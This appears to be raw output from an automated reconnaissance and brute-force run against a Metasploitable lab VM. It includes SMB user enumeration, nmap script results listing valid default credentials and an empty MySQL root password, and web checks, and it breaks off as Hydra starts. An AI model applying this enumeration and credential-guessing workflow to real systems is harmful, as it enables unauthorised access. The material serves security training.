IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian))
Server Comment
--------- -------
METASPLOITABLE metasploitable server (Samba 3.0.20-Debian)
TREADSTONE Samba 4.0.6-Debian
Workgroup Master
--------- -------
WORKGROUP TREADSTONE
[+] Attempting to map shares on 192.168.1.113 //192.168.1.113/print$ Mapping: DENIED, Listing: N/A //192.168.1.113/tmp Mapping: OK, Listing: OK //192.168.1.113/opt Mapping: DENIED, Listing: N/A //192.168.1.113/IPC$ [E] Can't understand response: Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian] NT_STATUS_NETWORK_ACCESS_DENIED listing * //192.168.1.113/ADMIN$ Mapping: DENIED, Listing: N/A
===================================================== | Password Policy Information for 192.168.1.113 |
[+] Attaching to 192.168.1.113 using a NULL share
[+] Trying protocol 445/SMB...
[+] Found domain(s):
[+] METASPLOITABLE
[+] Builtin
[+] Password Info for Domain: METASPLOITABLE
[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: Not Set
[+] Password Complexity Flags: 000000
[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0
[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: Not Set
[+] Retieved partial password policy with rpcclient:
Password Complexity: Disabled Minimum Password Length: 0
=============================== | Groups on 192.168.1.113 |
[+] Getting builtin groups:
[+] Getting builtin group memberships:
[+] Getting local groups:
[+] Getting local group memberships:
[+] Getting domain groups:
[+] Getting domain group memberships:
======================================================================== | Users on 192.168.1.113 via RID cycling (RIDS: 500-550,1000-1050) |
[I] Found new SID: S-1-5-21-1042354039-2475377354-766472396 [+] Enumerating users using SID S-1-5-21-1042354039-2475377354-766472396 and logon username '', password '' S-1-5-21-1042354039-2475377354-766472396-500 METASPLOITABLE\Administrator (Local User) S-1-5-21-1042354039-2475377354-766472396-501 METASPLOITABLE\nobody (Local User) S-1-5-21-1042354039-2475377354-766472396-502 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-503 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-504 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-505 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-506 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-507 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-508 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-509 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-510 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-511 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-512 METASPLOITABLE\Domain Admins (Domain Group) S-1-5-21-1042354039-2475377354-766472396-513 METASPLOITABLE\Domain Users (Domain Group) S-1-5-21-1042354039-2475377354-766472396-514 METASPLOITABLE\Domain Guests (Domain Group) S-1-5-21-1042354039-2475377354-766472396-515 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-516 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-517 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-518 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-519 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-520 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-521 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-522 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-523 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-524 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-525 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-526 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-527 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-528 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-529 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-530 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-531 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-532 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-533 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-534 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-535 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-536 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-537 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-538 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-539 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-540 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-541 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-542 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-543 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-544 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-545 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-546 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-547 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-548 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-549 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-550 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1000 METASPLOITABLE\root (Local User) S-1-5-21-1042354039-2475377354-766472396-1001 METASPLOITABLE\root (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1002 METASPLOITABLE\daemon (Local User) S-1-5-21-1042354039-2475377354-766472396-1003 METASPLOITABLE\daemon (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1004 METASPLOITABLE\bin (Local User) S-1-5-21-1042354039-2475377354-766472396-1005 METASPLOITABLE\bin (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1006 METASPLOITABLE\sys (Local User) S-1-5-21-1042354039-2475377354-766472396-1007 METASPLOITABLE\sys (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1008 METASPLOITABLE\sync (Local User) S-1-5-21-1042354039-2475377354-766472396-1009 METASPLOITABLE\adm (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1010 METASPLOITABLE\games (Local User) S-1-5-21-1042354039-2475377354-766472396-1011 METASPLOITABLE\tty (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1012 METASPLOITABLE\man (Local User) S-1-5-21-1042354039-2475377354-766472396-1013 METASPLOITABLE\disk (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1014 METASPLOITABLE\lp (Local User) S-1-5-21-1042354039-2475377354-766472396-1015 METASPLOITABLE\lp (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1016 METASPLOITABLE\mail (Local User) S-1-5-21-1042354039-2475377354-766472396-1017 METASPLOITABLE\mail (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1018 METASPLOITABLE\news (Local User) S-1-5-21-1042354039-2475377354-766472396-1019 METASPLOITABLE\news (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1020 METASPLOITABLE\uucp (Local User) S-1-5-21-1042354039-2475377354-766472396-1021 METASPLOITABLE\uucp (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1022 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1023 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1024 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1025 METASPLOITABLE\man (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1026 METASPLOITABLE\proxy (Local User) S-1-5-21-1042354039-2475377354-766472396-1027 METASPLOITABLE\proxy (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1028 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1029 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1030 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1031 METASPLOITABLE\kmem (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1032 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1033 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1034 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1035 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1036 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1037 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1038 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1039 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1040 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1041 METASPLOITABLE\dialout (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1042 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1043 METASPLOITABLE\fax (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1044 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1045 METASPLOITABLE\voice (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1046 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1047 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1048 unknown*unknown* (8) S-1-5-21-1042354039-2475377354-766472396-1049 METASPLOITABLE\cdrom (Domain Group) S-1-5-21-1042354039-2475377354-766472396-1050 unknown*unknown* (8)
============================================== | Getting printer info for 192.168.1.113 |
No printers returned.
enum4linux complete on Sun Sep 6 20:24:43 2015
Traceback (most recent call last): File "bin/samrdump.py", line 159, in logger.init() AttributeError: 'module' object has no attribute 'init' Doing NBT name scan for addresses from 192.168.1.113
IP address NetBIOS Name Server User MAC address
192.168.1.113 METASPLOITABLE METASPLOITABLE 00:00:00:00:00:00
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 20:24 EDT Nmap scan report for 192.168.1.113 Host is up (0.00016s latency). PORT STATE SERVICE 139/tcp open netbios-ssn MAC Address: 00:0C:29:0E:B0:99 (VMware)
Host script results: | smb-check-vulns: | Conficker: UNKNOWN; not Windows, or Windows with disabled browser service (CLEAN); or Windows with crashed browser service (possibly INFECTED). | | If you know the remote system is Windows, try rebooting it and scanning | |_ again. (Error NT_STATUS_OBJECT_NAME_NOT_FOUND) | SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE | MS06-025: NO SERVICE (the Ras RPC service is inactive) |_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive) | smb-enum-users: | METASPLOITABLE\backup (RID: 1068) | Full name: backup | Flags: Normal user account, Account disabled | METASPLOITABLE\bin (RID: 1004) | Full name: bin | Flags: Normal user account, Account disabled | METASPLOITABLE\bind (RID: 1210) | Flags: Normal user account, Account disabled | METASPLOITABLE\daemon (RID: 1002) | Full name: daemon | Flags: Normal user account, Account disabled | METASPLOITABLE\dhcp (RID: 1202) | Flags: Normal user account, Account disabled | METASPLOITABLE\distccd (RID: 1222) | Flags: Normal user account, Account disabled | METASPLOITABLE\ftp (RID: 1214) | Flags: Normal user account, Account disabled | METASPLOITABLE\games (RID: 1010) | Full name: games | Flags: Normal user account, Account disabled | METASPLOITABLE\gnats (RID: 1082) | Full name: Gnats Bug-Reporting System (admin) | Flags: Normal user account, Account disabled | METASPLOITABLE\irc (RID: 1078) | Full name: ircd | Flags: Normal user account, Account disabled | METASPLOITABLE\klog (RID: 1206) | Flags: Normal user account, Account disabled | METASPLOITABLE\libuuid (RID: 1200) | Flags: Normal user account, Account disabled | METASPLOITABLE\list (RID: 1076) | Full name: Mailing List Manager | Flags: Normal user account, Account disabled | METASPLOITABLE\lp (RID: 1014) | Full name: lp | Flags: Normal user account, Account disabled | METASPLOITABLE\mail (RID: 1016) | Full name: mail | Flags: Normal user account, Account disabled | METASPLOITABLE\man (RID: 1012) | Full name: man | Flags: Normal user account, Account disabled | METASPLOITABLE\msfadmin (RID: 3000) | Full name: msfadmin,,, | Flags: Normal user account | METASPLOITABLE\mysql (RID: 1218) | Full name: MySQL Server,,, | Flags: Normal user account, Account disabled | METASPLOITABLE\news (RID: 1018) | Full name: news | Flags: Normal user account, Account disabled | METASPLOITABLE\nobody (RID: 501) | Full name: nobody | Flags: Normal user account, Account disabled | METASPLOITABLE\postfix (RID: 1212) | Flags: Normal user account, Account disabled | METASPLOITABLE\postgres (RID: 1216) | Full name: PostgreSQL administrator,,, | Flags: Normal user account, Account disabled | METASPLOITABLE\proftpd (RID: 1226) | Flags: Normal user account, Account disabled | METASPLOITABLE\proxy (RID: 1026) | Full name: proxy | Flags: Normal user account, Account disabled | METASPLOITABLE\root (RID: 1000) | Full name: root | Flags: Normal user account, Account disabled | METASPLOITABLE\service (RID: 3004) | Full name: ,,, | Flags: Normal user account, Account disabled | METASPLOITABLE\sshd (RID: 1208) | Flags: Normal user account, Account disabled | METASPLOITABLE\sync (RID: 1008) | Full name: sync | Flags: Normal user account, Account disabled | METASPLOITABLE\sys (RID: 1006) | Full name: sys | Flags: Normal user account, Account disabled | METASPLOITABLE\syslog (RID: 1204) | Flags: Normal user account, Account disabled | METASPLOITABLE\telnetd (RID: 1224) | Flags: Normal user account, Account disabled | METASPLOITABLE\tomcat55 (RID: 1220) | Flags: Normal user account, Account disabled | METASPLOITABLE\user (RID: 3002) | Full name: just a user,111,, | Flags: Normal user account | METASPLOITABLE\uucp (RID: 1020) | Full name: uucp | Flags: Normal user account, Account disabled | METASPLOITABLE\www-data (RID: 1066) | Full name: www-data |_ Flags: Normal user account, Account disabled | smb-mbenum: |_ ERROR: Failed to connect to browser service: SMB: ERROR: Server returned less data than it was supposed to (one or more fields are missing); aborting [12] | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | NetBIOS computer name: | Workgroup: WORKGROUP |_ System time: 2015-09-05T11:31:15-04:00 |_smb-vuln-ms10-054: ERROR: Script execution failed (use -d to debug) |_smb-vuln-ms10-061: false
Nmap done: 1 IP address (1 host up) scanned in 6.04 seconds
- -- --=[Port 512 opened... running tests...
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 20:24 EDT Nmap scan report for 192.168.1.113 Host is up (0.00017s latency). PORT STATE SERVICE VERSION 512/tcp open exec netkit-rsh rexecd | rexec-brute: | Accounts: | root:root - Valid credentials | netadmin:netadmin - Valid credentials | guest:guest - Valid credentials | user:user - Valid credentials | web:web - Valid credentials | sysadmin:sysadmin - Valid credentials | administrator:administrator - Valid credentials | webadmin:webadmin - Valid credentials | admin:admin - Valid credentials | test:test - Valid credentials |_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10 MAC Address: 00:0C:29:0E:B0:99 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.77 seconds
- -- --=[Port 513 opened... running tests...
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 20:24 EDT Nmap scan report for 192.168.1.113 Host is up (0.00018s latency). PORT STATE SERVICE VERSION 513/tcp open login? MAC Address: 00:0C:29:0E:B0:99 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.52 seconds
- -- --=[Port 514 opened... running tests... amap v5.4 (www.thc.org/thc-amap) started at 2015-09-06 20:25:00 - APPLICATION MAPPING mode
Unidentified ports: 192.168.1.113:514/tcp (total 1).
amap v5.4 finished at 2015-09-06 20:25:06
- -- --=[Port 514 opened... running tests... amap v5.4 (www.thc.org/thc-amap) started at 2015-09-06 20:25:06 - APPLICATION MAPPING mode
Unrecognized response from 192.168.1.113:1524/tcp (by trigger http) received. Please send this output and the name of the application to vh@thc.org: 0000: 726f 6f74 406d 6574 6173 706c 6f69 7461 [ root@metasploita ] 0010: 626c 653a 2f23 20 [ ble:/# ]
Unidentified ports: 192.168.1.113:1524/tcp (total 1).
amap v5.4 finished at 2015-09-06 20:25:07
- -- --=[Port 2121 opened... running tests...
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 20:25 EDT Nmap scan report for 192.168.1.113 Host is up (0.022s latency). PORT STATE SERVICE VERSION 2121/tcp open ftp ProFTPD 1.3.1 | ftp-brute: | Accounts: | user:user - Valid credentials |_ Statistics: Performed 39760 guesses in 600 seconds, average tps: 59 MAC Address: 00:0C:29:0E:B0:99 (VMware) Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 603.78 seconds
- -- --=[Port 3306 opened... running tests...
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 20:35 EDT Nmap scan report for 192.168.1.113 Host is up (0.00026s latency). PORT STATE SERVICE VERSION 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 | mysql-audit: |_ No audit rulebase file was supplied (see mysql-audit.filename) | mysql-brute: | Accounts: | root: - Valid credentials | guest: - Valid credentials |_ Statistics: Performed 82 guesses in 8 seconds, average tps: 10 | mysql-databases: | information_schema | dvwa | metasploit | mysql | owasp10 | tikiwiki |_ tikiwiki195 | mysql-empty-password: |_ root account has empty password | mysql-enum: | Accounts: No valid accounts found |_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10 | mysql-info: | Protocol: 53 | Version: .0.51a-3ubuntu5 | Thread ID: 113032 | Capabilities flags: 43564 | Some Capabilities: Speaks41ProtocolNew, SwitchToSSLAfterHandshake, SupportsTransactions, LongColumnFlag, Support41Auth, ConnectWithDatabase, SupportsCompression | Status: Autocommit |_ Salt: vOjEZvdr/1FO;vafYl5^ | mysql-users: | debian-sys-maint | guest |_ root | mysql-variables: | auto_increment_increment: 1 | auto_increment_offset: 1 | automatic_sp_privileges: ON | back_log: 50 | basedir: /usr/ | binlog_cache_size: 32768 | bulk_insert_buffer_size: 8388608 | character_set_client: latin1 | character_set_connection: latin1 | character_set_database: latin1 | character_set_filesystem: binary | character_set_results: latin1 | character_set_server: latin1 | character_set_system: utf8 | character_sets_dir: /usr/share/mysql/charsets/ | collation_connection: latin1_swedish_ci | collation_database: latin1_swedish_ci | collation_server: latin1_swedish_ci | completion_type: 0 | concurrent_insert: 1 | connect_timeout: 5 | datadir: /var/lib/mysql/ | date_format: %Y-%m-%d | datetime_format: %Y-%m-%d %H:%i:%s | default_week_format: 0 | delay_key_write: ON | delayed_insert_limit: 100 | delayed_insert_timeout: 300 | delayed_queue_size: 1000 | div_precision_increment: 4 | keep_files_on_create: OFF | engine_condition_pushdown: OFF | expire_logs_days: 10 | flush: OFF | flush_time: 0 | ft_boolean_syntax: + -><()~*:""&| | ft_max_word_len: 84 | ft_min_word_len: 4 | ft_query_expansion_limit: 20 | ft_stopword_file: (built-in) | group_concat_max_len: 1024 | have_archive: YES | have_bdb: NO | have_blackhole_engine: YES | have_compress: YES | have_crypt: YES | have_csv: YES | have_dynamic_loading: YES | have_example_engine: NO | have_federated_engine: YES | have_geometry: YES | have_innodb: YES | have_isam: NO | have_merge_engine: YES | have_ndbcluster: DISABLED | have_openssl: YES | have_ssl: YES | have_query_cache: YES | have_raid: NO | have_rtree_keys: YES | have_symlink: YES | hostname: metasploitable | init_connect: | init_file: | init_slave: | innodb_additional_mem_pool_size: 1048576 | innodb_autoextend_increment: 8 | innodb_buffer_pool_awe_mem_mb: 0 | innodb_buffer_pool_size: 8388608 | innodb_checksums: ON | innodb_commit_concurrency: 0 | innodb_concurrency_tickets: 500 | innodb_data_file_path: ibdata1:10M:autoextend | innodb_data_home_dir: | innodb_doublewrite: ON | innodb_fast_shutdown: 1 | innodb_file_io_threads: 4 | innodb_file_per_table: OFF | innodb_flush_log_at_trx_commit: 1 | innodb_flush_method: | innodb_force_recovery: 0 | innodb_lock_wait_timeout: 50 | innodb_locks_unsafe_for_binlog: OFF | innodb_log_arch_dir: | innodb_log_archive: OFF | innodb_log_buffer_size: 1048576 | innodb_log_file_size: 5242880 | innodb_log_files_in_group: 2 | innodb_log_group_home_dir: ./ | innodb_max_dirty_pages_pct: 90 | innodb_max_purge_lag: 0 | innodb_mirrored_log_groups: 1 | innodb_open_files: 300 | innodb_rollback_on_timeout: OFF | innodb_support_xa: ON | innodb_sync_spin_loops: 20 | innodb_table_locks: ON | innodb_thread_concurrency: 8 | innodb_thread_sleep_delay: 10000 | interactive_timeout: 28800 | join_buffer_size: 131072 | key_buffer_size: 16777216 | key_cache_age_threshold: 300 | key_cache_block_size: 1024 | key_cache_division_limit: 100 | language: /usr/share/mysql/english/ | large_files_support: ON | large_page_size: 0 | large_pages: OFF | lc_time_names: en_US | license: GPL | local_infile: ON | locked_in_memory: OFF | log: OFF | log_bin: OFF | log_bin_trust_function_creators: OFF | log_error: | log_queries_not_using_indexes: OFF | log_slave_updates: OFF | log_slow_queries: OFF | log_warnings: 1 | long_query_time: 10 | low_priority_updates: OFF | lower_case_file_system: OFF | lower_case_table_names: 0 | max_allowed_packet: 16776192 | max_binlog_cache_size: 4294967295 | max_binlog_size: 104857600 | max_connect_errors: 10 | max_connections: 100 | max_delayed_threads: 20 | max_error_count: 64 | max_heap_table_size: 16777216 | max_insert_delayed_threads: 20 | max_join_size: 18446744073709551615 | max_length_for_sort_data: 1024 | max_prepared_stmt_count: 16382 | max_relay_log_size: 0 | max_seeks_for_key: 4294967295 | max_sort_length: 1024 | max_sp_recursion_depth: 0 | max_tmp_tables: 32 | max_user_connections: 0 | max_write_lock_count: 4294967295 | multi_range_count: 256 | myisam_data_pointer_size: 6 | myisam_max_sort_file_size: 2147483647 | myisam_recover_options: OFF | myisam_repair_threads: 1 | myisam_sort_buffer_size: 8388608 | myisam_stats_method: nulls_unequal | ndb_autoincrement_prefetch_sz: 32 | ndb_force_send: ON | ndb_use_exact_count: ON | ndb_use_transactions: ON | ndb_cache_check_time: 0 | ndb_connectstring: | net_buffer_length: 16384 | net_read_timeout: 30 | net_retry_count: 10 | net_write_timeout: 60 | new: OFF | old_passwords: OFF | open_files_limit: 1024 | optimizer_prune_level: 1 | optimizer_search_depth: 62 | pid_file: /var/run/mysqld/mysqld.pid | port: 3306 | preload_buffer_size: 32768 | profiling: OFF | profiling_history_size: 15 | protocol_version: 10 | query_alloc_block_size: 8192 | query_cache_limit: 1048576 | query_cache_min_res_unit: 4096 | query_cache_size: 16777216 | query_cache_type: ON | query_cache_wlock_invalidate: OFF | query_prealloc_size: 8192 | range_alloc_block_size: 2048 | read_buffer_size: 131072 | read_only: OFF | read_rnd_buffer_size: 262144 | relay_log_purge: ON | relay_log_space_limit: 0 | rpl_recovery_rank: 0 | secure_auth: OFF | secure_file_priv: | server_id: 0 | skip_external_locking: ON | skip_networking: OFF | skip_show_database: OFF | slave_compressed_protocol: OFF | slave_load_tmpdir: /tmp/ | slave_net_timeout: 3600 | slave_skip_errors: OFF | slave_transaction_retries: 10 | slow_launch_time: 2 | socket: /var/run/mysqld/mysqld.sock | sort_buffer_size: 2097144 | sql_big_selects: ON | sql_mode: | sql_notes: ON | sql_warnings: OFF | ssl_ca: /etc/mysql/cacert.pem | ssl_capath: | ssl_cert: /etc/mysql/server-cert.pem | ssl_cipher: | ssl_key: /etc/mysql/server-key.pem | storage_engine: MyISAM | sync_binlog: 0 | sync_frm: ON | system_time_zone: EDT | table_cache: 64 | table_lock_wait_timeout: 50 | table_type: MyISAM | thread_cache_size: 8 | thread_stack: 131072 | time_format: %H:%i:%s | time_zone: SYSTEM | timed_mutexes: OFF | tmp_table_size: 33554432 | tmpdir: /tmp | transaction_alloc_block_size: 8192 | transaction_prealloc_size: 4096 | tx_isolation: REPEATABLE-READ | updatable_views_with_limit: YES | version: 5.0.51a-3ubuntu5 | version_comment: (Ubuntu) | version_compile_machine: i486 | version_compile_os: debian-linux-gnu |_ wait_timeout: 28800 MAC Address: 00:0C:29:0E:B0:99 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 40.08 seconds
- -- --=[Port 3389 closed... skipping.
- -- --=[Port 5432 opened... running tests...
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 20:35 EDT Nmap scan report for 192.168.1.113 Host is up (0.00015s latency). PORT STATE SERVICE VERSION 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 MAC Address: 00:0C:29:0E:B0:99 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 285.15 seconds
- -- --=[Port 5800 closed... skipping.
- -- --=[Port 5900 opened... running tests...
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 20:40 EDT Nmap scan report for 192.168.1.113 Host is up (0.00019s latency). PORT STATE SERVICE VERSION 5900/tcp open vnc VNC (protocol 3.3) | vnc-info: | Protocol version: 3.3 | Security types: |_ Unknown security type (33554432) MAC Address: 00:0C:29:0E:B0:99 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.41 seconds
- -- --=[Port 6000 closed... skipping.
- -- --=[Port 6667 opened... running tests...
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-06 20:40 EDT Nmap scan report for 192.168.1.113 Host is up (0.00047s latency). PORT STATE SERVICE VERSION 6667/tcp open irc Unreal ircd | irc-info: | users: 1 | servers: 1 | lusers: 1 | lservers: 0 | server: irc.Metasploitable.LAN | version: Unreal3.2.8.1. irc.Metasploitable.LAN | uptime: 4 days, 0:36:03 | source ident: nmap | source host: C4A81015.78DED367.FFFA6D49.IP |_ error: Closing Link: taaosguku[192.168.1.111] (Quit: taaosguku) | irc-sasl-brute: | Accounts: No valid accounts found | Statistics: Performed 2 guesses in 1 seconds, average tps: 2 |_ ERROR: Too many retries, aborted ... MAC Address: 00:0C:29:0E:B0:99 (VMware) Service Info: Host: irc.Metasploitable.LAN
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 2.06 seconds
-
-- --=[Port 8000 closed... skipping.
-
-- --=[Port 8100 closed... skipping.
-
-- --=[Port 8080 closed... skipping.
-
-- --=[Port 8180 opened... running tests...
^ ^ _ __ _ ____ _ __ _ _ ____ ///7/ /.' \ / __////7/ /,' \ ,' \ / __/ | V V // o // _/ | V V // 0 // 0 // _/ |_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/ < ...'WAFW00F - Web Application Firewall Detection Tool
By Sandro Gauci && Wendel G. Henrique
Checking http://192.168.1.113:8180 Generic Detection results: No WAF detected by the generic detection Number of requests: 13
http://192.168.1.113:8180 [200] Apache, Country[RESERVED][ZZ], Email[dev@tomcat.apache.org,users@tomcat.apache.org], HTTPServer[Apache-Coyote/1.1], IP[192.168.1.113], PoweredBy[Tomcat], Title[Apache Tomcat/5.5]
__ ______ _____
\ \/ / ___|_ _|
\ /\___ \ | |
/ \ ___) || |
/_/\_|____/ |_|
- -- --=[Cross-Site Tracer v1.3 by 1N3 @ CrowdShield
- -- --=[Target: 192.168.1.113:8180
- -- --=[Site not vulnerable to Cross-Site Tracing!
- -- --=[Site not vulnerable to host header injection!
- -- --=[Site vulnerable to Cross-Frame Scripting!
- -- --=[Site vulnerable to Clickjacking!
HTTP/1.1 405 Method Not Allowed Server: Apache-Coyote/1.1 Allow: OPTIONS Content-Length: 0 Date: Sat, 05 Sep 2015 15:47:12 GMT
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Type: text/html;charset=ISO-8859-1 Transfer-Encoding: chunked Date: Sat, 05 Sep 2015 15:47:12 GMT
2000
___/\ \ \/ \/ \_/
- -- --=[BruteX v1.2 by 1N3
- -- --=[http://crowdshield.com
################################### Running Port Scan ##############################
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-07 05:09 EDT Nmap scan report for 192.168.1.113 Host is up (0.000095s latency). Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 00:0C:29:0E:B0:99 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.90 seconds
################################### Running Brute Force ############################
- -- --=[Port 21 opened... running tests... Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
